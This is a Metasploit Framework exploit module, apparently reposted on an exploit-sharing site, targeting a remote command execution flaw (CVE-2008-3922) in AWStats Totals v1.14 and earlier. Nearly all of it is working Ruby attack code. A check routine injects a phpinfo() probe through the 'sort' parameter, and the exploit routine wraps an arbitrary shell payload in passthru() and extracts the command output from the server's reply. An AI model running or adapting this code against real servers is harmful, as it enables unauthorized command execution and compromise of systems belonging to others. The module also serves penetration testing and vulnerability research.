ExploitFixes
AWStats Totals =< v1.14 multisort Remote Command Execution - [CVE: 2008-3922] 2011-05-26 14:15:04

##
# $Id: awstatstotals_multisort.rb 12715 2011-05-25 10:45:36Z patrickw $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'AWStats Totals =< v1.14 multisort Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in the
AWStats Totals PHP script. AWStats Totals version v1.0 - v1.14 are vulnerable.
},
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 12715 $',
'References' =>
[
['CVE', '2008-3922'],
['OSVDB', '47807'],
['BID', '30856'],
['URL', 'http://userwww.service.emory.edu/~ekenda2/EMORY-2008-01.txt'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Aug 26 2008',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [true, "The full URI path to awstatstotals.php", "/awstatstotals/awstatstotals.php"]),
], self.class)
end

def check
res = send_request_cgi({
'uri' => datastore['URI'],
'vars_get' =>
{
'sort' => '"].phpinfo().exit().$a["'
}
}, 25)

if (res and res.body.match(/localhost/))
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit
command = Rex::Text.uri_encode(payload.encoded)
sploit = datastore['URI'] + '?sort="].passthru(\'echo%20YYY;' + command + ';echo%20YYY;\').exit().%24a["'

res = send_request_raw({
'uri' => sploit,
'method' => 'GET',
'headers' =>
{
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Connection' => 'Close',
}
}, 25)

if (res)
print_status("The server returned: #{res.code} #{res.message}")

m = res.body.match(/YYY\n(.*)\nYYY/m)

if (m)
print_status("Command output from the server:")
print("\n" + m[1] + "\n\n")
else
print_status("This server may not be vulnerable")
end
else
print_status("No response from the server")
end
end

end